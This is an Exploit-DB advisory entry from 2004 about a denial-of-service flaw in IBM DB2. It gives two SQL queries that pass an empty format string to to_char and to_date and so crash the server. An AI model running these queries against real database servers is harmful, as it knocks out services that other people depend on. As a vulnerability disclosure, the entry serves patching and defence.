IBM DB2 DTS To String Conversion - Denial of Service

EDB-ID:

24677


Type:

dos


Platform:

Linux

Date:

2004-09-01


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source: https://www.securityfocus.com/bid/11400/info

IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out.

It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is exposed in the 'to_char' and 'to_date' conversion functions. 

select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1